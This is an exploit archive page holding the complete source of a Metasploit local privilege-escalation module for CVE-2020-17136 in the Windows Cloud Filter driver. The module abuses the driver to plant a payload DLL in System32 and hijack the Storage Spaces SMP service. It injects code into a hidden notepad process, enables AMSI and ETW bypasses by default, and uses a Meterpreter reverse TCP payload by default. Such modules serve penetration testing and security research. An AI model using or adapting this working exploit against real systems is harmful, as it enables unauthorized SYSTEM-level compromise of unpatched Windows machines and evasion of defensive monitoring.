Cloud Filter Arbitrary File Creation / Privilege Escalation

Authored by Grant Willcox, James Foreshaw | Site metasploit.com

Posted Jan 12, 2021

This Metasploit module exploits a vulnerability in cldflt.sys. The Cloud Filter driver on Windows 10 v1803 and later, prior to the December 2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders() function with attacker controlled input. This meant that files were created with KernelMode permissions, thereby bypassing any security checks that would otherwise prevent a normal user from being able to create files in directories they don't have permissions to create files in. This module abuses this vulnerability to perform a DLL hijacking attack against the Microsoft Storage Spaces SMP service, which grants the attacker code execution as the NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one of the Meterpreter payloads, as doing so will allow them to subsequently escalate their new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.

tags | exploit, code execution
systems | windows
advisories | CVE-2020-1170, CVE-2020-17136
SHA-256 | 5bdffeb4ef0091f8099814e9f3a61b1346960497efc651c7566901fb62b98d96 Download | Favorite | View

Related Files

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  include Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Dotnet
  include Msf::Post::Windows::Services
  include Msf::Post::Windows::FileSystem
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP',
        'Description' => %q{
          The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December
          2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when
          calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders()
          function with attacker controlled input. This meant that files were created with
          KernelMode permissions, thereby bypassing any security checks that would otherwise
          prevent a normal user from being able to create files in directories
          they don't have permissions to create files in.

          This module abuses this vulnerability to perform a DLL hijacking attack against the
          Microsoft Storage Spaces SMP service, which grants the attacker code execution as the
          NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one
          of the Meterpreter payloads, as doing so will allow them to subsequently escalate their
          new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command
          to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'James Foreshaw', # Vulnerability discovery and PoC creator
          'Grant Willcox' # Metasploit module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Privileged' => true,
        'Arch' => [ARCH_X64],
        'Targets' =>
          [
            [ 'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ],
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-03-10',
        'References' => [
          ['CVE', '2020-17136'],
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136']
        ],
        'Notes' =>
          {
            'SideEffects' => [ ARTIFACTS_ON_DISK ],
            'Reliability' => [ REPEATABLE_SESSION ],
            'Stability' => [ CRASH_SAFE ]
          },
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'process',
            'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
          }
      )
    )
    register_options(
      [
        OptBool.new('AMSIBYPASS', [true, 'Enable Amsi bypass', true]),
        OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]),
        OptInt.new('WAIT', [false, 'Time in seconds to wait', 5])
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])
      ]
    )
  end

  def check_requirements(clr_req, installed_dotnet_versions)
    installed_dotnet_versions.each do |fi|
      if clr_req == 'v4.0.30319'
        if fi[0] == '4'
          vprint_status('Requirements ok')
          return true
        end
      elsif fi[0] == '3'
        vprint_status('Requirements ok')
        return true
      end
    end
    print_error('Required dotnet version not present')
    false
  end

  def check
    sysinfo_value = sysinfo['OS']
    if sysinfo_value !~ /windows/i
      # Non-Windows systems are definitely not affected.
      return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    end

    build_num_raw = cmd_exec('cmd.exe /c ver')
    build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
    if build_num.nil?
      return CheckCode::Unknown("Couldn't retrieve the target's build number!")
    else
      build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
      vprint_status("Target's build number: #{build_num}")
    end

    build_num_gemversion = Gem::Version.new(build_num)
    # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
    if (build_num_gemversion >= Gem::Version.new('10.0.19042.0')) && (build_num_gemversion <
Gem::Version.new('10.0.19042.685')) # Windows 10 20H2
      return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.19041.0')) && (build_num_gemversion <
Gem::Version.new('10.0.19041.685')) # Windows 10 v2004 aka 20H1
      return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.18363.0')) && (build_num_gemversion <
Gem::Version.new('10.0.18363.1256')) # Windows 10 v1909
      return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0')) && (build_num_gemversion <
Gem::Version.new('10.0.18362.1256')) # Windows 10 v1903
      return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0')) && (build_num_gemversion <
Gem::Version.new('10.0.17763.1637')) # Windows 10 v1809
      return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')
    elsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0')) && (build_num_gemversion <
Gem::Version.new('10.0.17134.1902')) # Windows 10 v1803
      return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')
    else
      return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable
version!')
    end
  end

  def exploit
    if sysinfo['Architecture'] != 'x64'
      fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!')
    elsif session.arch != 'x64'
      fail_with(Failure::NoTarget, 'Sorry, WoW64 is not supported at this time!')
    end
    dir_junct_path = 'C:\\Windows\\Temp'
    intermediate_dir = rand_text_alpha(10).to_s
    junction_dir = rand_text_alpha(10).to_s
    path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}"

    mkdir("#{path_to_intermediate_dir}")
    if !directory?("#{path_to_intermediate_dir}")
      fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')
    end
    register_dir_for_cleanup("#{path_to_intermediate_dir}")

    mkdir("#{path_to_intermediate_dir}\\#{junction_dir}")
    if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
      fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')
    end

    mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\')
    if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
      fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')
    end

    exe_path = 'data/exploits/CVE-2020-17136/cloudFilterEOP.exe'
    unless File.file?(exe_path)
      fail_with(Failure::BadConfig, 'Assembly not found')
    end
    installed_dotnet_versions = get_dotnet_versions
    vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
    if installed_dotnet_versions == []
      fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
    end
    if check_requirements('v4.0.30319', installed_dotnet_versions) == false
      fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
    end
    payload_path = "C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll"
    print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...")
    write_file(payload_path, generate_payload_dll)
    register_file_for_cleanup(payload_path)
    execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #
{payload_path}")
    service_start('smphost')
    register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll')
    sleep(3)
    delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle)
  end

  def pid_exists(pid)
    mypid = client.sys.process.getpid.to_i

    if pid == mypid
      print_bad('Cannot select the current process as the injection target')
      return false
    end

    host_processes = client.sys.process.get_processes
    if host_processes.empty?
      print_bad('No running processes found on the target host.')
      return false
    end

    theprocess = host_processes.find { |x| x['pid'] == pid }

    !theprocess.nil?
  end

  def launch_process
    process_name = 'notepad.exe'
    print_status("Launching #{process_name} to host CLR...")

    process = client.sys.process.execute(process_name, nil, {
      'Channelized' => true,
      'Hidden' => true,
      'UseThreadToken' => true,
      'ParentPid' => 0
    })
    hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
    print_good("Process #{hprocess.pid} launched.")
    [process, hprocess]
  end

  def inject_hostclr_dll(process)
    print_status("Reflectively injecting the Host DLL into #{process.pid}..")

    library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly',
'HostingCLRx64.dll')
    library_path = ::File.expand_path(library_path)

    print_status("Injecting Host into #{process.pid}...")
    exploit_mem, offset = inject_dll_into_process(process, library_path)
    [exploit_mem, offset]
  end

  def execute_assembly(exe_path, exe_args)
    if sysinfo.nil?
      fail_with(Failure::BadConfig, 'Session invalid')
    else
      print_status("Running module against #{sysinfo['Computer']}")
    end
    if datastore['WAIT'].zero?
      print_warning('Output unavailable as wait time is 0')
    end

    process, hprocess = launch_process
    exploit_mem, offset = inject_hostclr_dll(hprocess)

    assembly_mem = copy_assembly(exe_path, hprocess, exe_args)

    print_status('Executing...')
    hprocess.thread.create(exploit_mem + offset, assembly_mem)

    if datastore['WAIT'].positive?
      sleep(datastore['WAIT'])
      read_output(process)
    end

    if datastore['KILL']
      print_good("Killing process #{hprocess.pid}")
      client.sys.process.kill(hprocess.pid)
    end

    print_good('Execution finished.')
```

```
  end

  def copy_assembly(exe_path, process, exe_args)
    print_status("Host injected. Copy assembly into #{process.pid}...")
    int_param_size = 8
    sign_flag_size = 1
    amsi_flag_size = 1
    etw_flag_size = 1
    assembly_size = File.size(exe_path)

    cln_params = ''
    cln_params << exe_args
    cln_params << "\x00"

    payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size
    payload_size += assembly_size + cln_params.length
    assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)
    params = [
      assembly_size,
      cln_params.length,
      datastore['AMSIBYPASS'] ? 1 : 0,
      datastore['ETWBYPASS'] ? 1 : 0,
      2
    ].pack('IICCC')
    params += cln_params

    process.memory.write(assembly_mem, params + File.read(exe_path))
    print_status('Assembly copied.')
    assembly_mem
  end

  def read_output(process)
    print_status('Start reading output')
    old_timeout = client.response_timeout
    client.response_timeout = 5

    begin
      loop do
        output = process.channel.read
        if !output.nil? && !output.empty?
          output.split("\n").each { |x| print_good(x) }
        end
        break if output.nil? || output.empty?
      end
    rescue Rex::TimeoutError
      vprint_warning('Time out exception: wait limit exceeded (5 sec)')
    rescue ::StandardError => e
      print_error("Exception: #{e.inspect}")
    end

    client.response_timeout = old_timeout
    print_status('End output.')
  end
end
```